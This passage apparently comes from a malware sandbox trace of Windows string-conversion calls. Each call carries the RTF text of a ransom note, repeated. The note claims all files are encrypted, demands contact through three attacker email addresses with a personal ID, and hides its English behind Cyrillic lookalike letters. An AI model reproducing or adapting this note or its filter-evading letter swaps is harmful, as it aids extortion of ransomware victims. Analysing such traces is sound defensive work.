h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0035.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t 